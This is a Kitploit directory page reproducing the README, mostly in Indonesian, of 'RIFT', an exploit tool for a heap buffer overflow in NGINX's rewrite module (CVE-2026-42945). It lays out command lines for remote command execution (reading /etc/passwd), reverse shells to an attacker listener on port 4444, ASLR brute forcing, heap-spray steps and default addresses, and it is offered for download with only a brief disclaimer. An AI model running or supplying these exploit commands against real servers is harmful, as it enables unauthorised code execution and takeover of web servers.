Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-42945 — A flaw was found in NGINX, specifically within the ngx_http_rewrite_module. An unauthenticated attacker can exploit this vulnerability by sending crafted HTTP requests under specific rewrite configurations. This can lead to a heap buffer overflow in the NGINX worker process, which may result in arbitrary code execution | Kitploit
Tools/GitHubGitHub/aratane/cve-2026-42945
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationPayload DevelopmentBinary Exploitation
GitHubaratane/cve-2026-42945

CVE-2026-42945

View Repository
11 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

About

A flaw was found in NGINX, specifically within the ngx_http_rewrite_module. An unauthenticated attacker can exploit this vulnerability by sending crafted HTTP requests under specific rewrite configurations. This can lead to a heap buffer overflow in the NGINX worker process, which may result in arbitrary code execution

Share

RIFT — Remote Injection & Fault Trigger

Author: Michael Sanji Winaya Prawiradibrata
AI Co-Author: Varanus — sahabatku

Heap buffer overflow exploit framework targeting NGINX's ngx_http_rewrite_module.
Satu tool untuk reconnaissance + exploitation. Zero external dependencies.


Isi Repo

FileDeskripsi
rift.pyTool utama. Gabungan recon + exploit dalam satu script (1026 baris).
README.mdDokumentasi ini.

Requirements

  • Python 3.6+ (stdlib only — no pip, no venv, no dependencies)

Cara Cepat

root@kitploit:~
# 1. Full reconnaissance — deteksi versi, endpoint, celah, strategi
python3 rift.py --target 10.10.10.10 --recon

# 2. Recon + exploit sekali jalan
python3 rift.py --target 10.10.10.10 --auto --cmd "id"

# 3. Command execution
python3 rift.py --target 10.10.10.10 --cmd "whoami"

# 4. Reverse shell (auto-open listener)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444

# 5. Reverse shell pakai bash (instead of python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444

# 6. Cek vulnerable saja
python3 rift.py --target 10.10.10.10 --check-only

Semua Flags

Mode Penggunaan

Opsi Exploit

Opsi Recon


Fitur Unggulan

✅ Auto Reverse Shell

Saat pakai --shell, script otomatis:

  1. Generate payload reverse shell sesuai --shell-type
  2. Buka listener di --lport
  3. Kirim exploit
  4. Begitu worker crash → shell masuk
  5. Listener otomatis: Prioritaskan netcat (nc -lvnp), fallback Python listener

✅ ASLR Brute Force Otomatis

Kalau address default gagal, script otomatis geser heap base ±5 langkah × 0x10000, nyari address yang cocok. Tidak perlu setting manual.

✅ Multi-Payload Reverse Shell

4 jenis shell payload — python, bash, nc, php. Pilih yang tersedia di target.

✅ Full Reconnaissance

--recon menjalankan 5 fase:

  1. Fingerprint — deteksi versi NGINX, 15 endpoint umum, rewrite module
  2. Info leak — memory address di error page, timing side channel
  3. Endpoint test — behaviour endpoint dengan 6 jenis payload
  4. Worker count — estimasi jumlah worker process dari latency pattern
  5. Strategy — rekomendasi action berdasarkan hasil analisis

✅ Output JSON

--output json untuk integrasi dengan tool lain atau parsing otomatis.


Vulnerable Configuration

Target exploit adalah NGINX dengan konfigurasi rewrite + set seperti ini:

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # is_args = 1
    set $original_endpoint $1;                     # length calc pake is_args = 0
}

Akibatnya: buffer yang dialokasikan terlalu kecil, URI escaping (3× expansion) overflow.

Versi Terkena Dampak

  • NGINX Open Source: 0.6.27 – 1.30.0
  • NGINX Plus: R32 – R36
  • Fixed: 1.31.0, 1.30.1, R36 P4+, R35 P2+, R32 P6+

Cara Kerja Exploit

root@kitploit:~
1. HEAP SPRAY ─── POST /spray × 20 → tanam fake ngx_pool_cleanup_s di heap
2. TRIGGER ────── GET /api/AAAA...++++... → overflow via URI escaping
3. CORRUPT ────── Overflow tulis ulang cleanup pointer pool adjacent
4. EXEC ───────── Pool destroyed → panggil system("command")

Constant Penting (bisa diubah di rift.py)


Contoh Lengkap

Command Execution + Verbose

root@kitploit:~
python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose

Custom Address (ASLR bypass)

root@kitploit:~
python3 rift.py --target 10.10.10.10 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

Banyak Attempt

root@kitploit:~
python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50

Recon + JSON

root@kitploit:~
python3 rift.py --target 10.10.10.10 --recon --output json

Generate Exploit Script

root@kitploit:~
python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py

Troubleshooting

"Target doesn't appear to be running NGINX"

  • Cek port: nc -zv <IP> 80
  • Coba port lain: --port 8080, --port 443
  • Mungkin behind WAF/proxy

"All exploitation attempts failed"

  1. ASLR mungkin aktif — coba --auto untuk ASLR sliding otomatis
  2. NGINX version mungkin sudah di-patch (> 1.30.1)
  3. Konfigurasi NGINX mungkin tidak vulnerable (tidak pakai rewrite+set)
  4. Coba --verbose lihat detail per attempt

Shell tidak connect

  • Cek firewall lokal: sudo ufw allow 4444
  • Cek --lhost — pastikan IP lokal benar
  • Coba --shell-type bash atau --shell-type nc

Disclaimer

Dibuat untuk tujuan edukasi dan authorized security testing saja.
Penggunaan terhadap sistem tanpa izin adalah ilegal.

© 2026 Michael Sanji Winaya Prawiradibrata
AI co-author: Varanus

Download Tool
FlagFungsi
--reconFull reconnaissance. Fingerprint → info leak → endpoint test → worker count → strategy.
--autoRecon + exploit otomatis. Sama seperti --recon lalu lanjut exploit.
--check-onlyCek cepat. Deteksi NGINX, versi, endpoint /api/.
--cmd "command"Eksekusi satu command via system().
--shellReverse shell — auto buka listener, kirim payload, terima koneksi.
FlagDefaultFungsi
--port80Port target
--lhost—IP lokal untuk reverse shell (wajib kalau pakai --shell)
--lport4444Port lokal untuk listener
--shell-typepythonPayload reverse shell: python, bash, nc, php
--heap-base0x555555659000Base address heap (override untuk ASLR bypass)
--libc-base0x7ffff77ba000Base address libc
--tries10Attempt per candidate address
--verbose / -v—Output detail per attempt
FlagFungsi
--fingerprintDeteksi versi NGINX, endpoint, rewrite module
--leakCek information leak (memory address di error page, timing)
--test-endpointTest behaviour endpoint dengan berbagai payload
--endpointPath endpoint untuk di-test (default: /api/)
--generate-exploitGenerate exploit script khusus dengan address target
--output jsonOutput JSON (machine-readable) bersamaan output terminal
ConstantDefaultArti
BODY_LEN4000Ukuran spray body (bytes)
N_SPRAY20Jumlah POST request per attempt
LIBC_SYSTEM_OFFSETS7 entriesOffset system() untuk berbagai distro
PREREAD_HEAP_OFFSETS19 entriesKandidat offset heap
DEFAULT_HEAP_BASE0x555555659000Heap base (ASLR off)
DEFAULT_LIBC_BASE0x7ffff77ba000Libc base (ASLR off)